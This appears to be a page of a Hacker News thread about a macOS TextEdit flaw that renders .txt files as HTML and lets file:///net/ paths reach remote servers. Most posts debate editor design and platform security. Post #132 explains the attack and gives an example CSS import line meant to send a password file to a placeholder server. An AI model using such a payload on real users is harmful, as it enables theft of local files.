Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Man who thought opening a TXT file is fine thought wrong

paulosyibelo.com

Post reply on HN
Print view View original

131–140 of 316 posts

Re: Man who thought opening a TXT file is fine thought wrong

#131

Post by azinman2 »

movedx wrote: post #67
userbinator wrote: post #56

Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.

Agreed. This problem exists because someone wrote a tool that should only do one (really well) and but instead made it do five different things.

According to you. I appreciate that TextEdit is a rich editor. I can use vim or countless other apps for plain text. Few do what TextEdit does with its simplicity.

Re: Man who thought opening a TXT file is fine thought wrong

#132

Post by twobitshifter »

bawolff wrote: post #33

> I will not leave a PoC for this chapter but I promise you, it will not be that difficult to figure out after reading the above two parts I find this kind of annoying. Either write about the vulnerability or don't.

So... First vulnerability is that you can force someone to hit

2nd vulnerability is that you can print a password file (or other file) inside the text editor

A dangling markup attack is an attack that sends you information as part of the url request up to the next quote

So you could do this and someone has sent you the contents of the password file when trying to get css

@import{ "file:///net/MYSERVER.COM/stealpassword.css?="}

Re: Man who thought opening a TXT file is fine thought wrong

#133

Post by aksss »

smoldesu wrote: post #84
Qwertious wrote: post #81

Earlier quoted context omitted.

If you don't want text editors to do non text-editing stuff, then people need to stop saying we should build development environments around text editors. "An IDE is just a text editor with bells and whistles", people say. Well if that's the case, it's not surprising if people "only ship the one text editor".

I don't know anyone who says that an IDE is just a text editor with bells and whistles. Visual Studio Code is a text editor with more bells and/or whistles than a choo-choo train, but that doesn't make it any more of an IDE than nano and termux.

It compiles and debugs, that seems like an IDE to me.

VS Code is cool and all, but it definitely is a lot more manual and laborious than VS. the tooling and automation in VS is missed if you’re used to it.

Re: Man who thought opening a TXT file is fine thought wrong

#135

Post by jolux »

smoldesu wrote: post #90
jolux wrote: post #83

Earlier quoted context omitted.

>you'd be surprised by how few people actually "target" Windows devices What do you mean by this? As a percentage of malware it's not even close, Windows is far and away the most targeted platform: https://www.pcmag.com/news/windows-computers-account-for-83-...

It's also far and away the most used platform, so it should surprise nobody that it's the most targeted.

I'm not surprised, I'm just curious what you meant by saying I'd be surprised at how few people target it.

Re: Man who thought opening a TXT file is fine thought wrong

#136

Post by tmp538394722 »

crazygringo wrote: post #105

Oh, man. The idea that TextEdit automatically parsed .txt files as HTML if they started with a certain file signature is problematic... ...but the fact that file:// schemes can access remote files by appending /net/ followed by a domain name is pretty shocking. I mean, the entire purpose of "file://" would seem to be to provide access to local/mounted files and only those. The fact that a Mac engineer thought it woul…

“Everything’s a file!”

Re: Man who thought opening a TXT file is fine thought wrong

#137

Post by jaxn »

Wowfunhappy wrote: post #101
userbinator wrote: post #56

Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.

Text ≠ Plain Text. TextEdit defaults to rtf. It supports html as an alternative to rtf, which is to say it can do basic formatting and nothing else. It's perfectly reasonable to expect a text editor to support more than literal unicode, and to work with a variety of commonly-used formats.

But is it reasonable to treat a .txt as anything other than plain text?

Re: Man who thought opening a TXT file is fine thought wrong

#138

Post by fiddlerwoaroof »

crazygringo wrote: post #109
userbinator wrote: post #56

Two words: excessive complexity. It's always seemed strange that an application called TextEdit is actually more than a text editor. I strongly believe that content-type autodetection, much less HTML rendering(!), most certainly does not belong in a text editor.

It's a rich text editor by default. Rich text is still text. Opening HTML files and converting them to rich text certainly does belong as a valid feature for a rich text editor. It'll open and convert Word files too, which is super useful. The content-type autodetection, however, I agree was a bad idea. Still, this vulnerability presumably existed with an .html file opened in TextEdit.

I assume the content-type autodetection exists because of how downloading files occasionally appends a .txt extension (I think this is when the content type is text/plain). Postel’s law gets applied with the result of macOS attempting to make up for misconfigured servers.

Re: Man who thought opening a TXT file is fine thought wrong

#139

Post by jolux »

techrat wrote: post #10
VectorLock wrote: post #6

Earlier quoted context omitted.

I don't think it can be worse than Windows. Not immune, but definitely not worse.

Depends on how you want to set the goalposts. By version, MacOSX is faring worse. By total history despite a good chunk of old Windows malware not being net capable or able to run in current modes... perhaps. https://www.vox.com/recode/2020/2/12/21134681/mac-pc-virus-m... Safety by virtue of running MacOSX isn't enough anymore. Not that I'd argue it ever was totally safe/enough in the first place. Bad habits are what…

Most of the safety has always been in being a minority platform, and consequently I don't think the threat level has really changed all that much over the past ten years. Apple are really hitting the gas right now with their SIP work and the immutable OS volume and such.

Re: Man who thought opening a TXT file is fine thought wrong

#140

Post by fiddlerwoaroof »

thought_alarm wrote: post #126
throwawayboise wrote: post #89

Earlier quoted context omitted.

TextEdit dates back to NeXTStep, so it was originally written in the late 1980s probably. Guessing it didn't render HTML originally, but it always had RTF capability. Not that it's an excuse in 2021, but very few applications from that era woudl be considered "safe" today.

Edit.app is the original NeXTSTEP text editor from the 1989. It supported plain text and rich text files. Famously, the first web browser was based on the rich text capabilities built into NeXSTEP. TextEdit.app is the OpenStep rewrite of Edit.app and dates to the mid 1990s. It was likely one of the first OpenStep apps. It supported the same rich text files as the original Edit.app. Apple bought NeXT, OpenStep became…

Yeah, I think TextEdit.app is supposed to be a showcase for the Cocoa text system, really.
Post reply on HN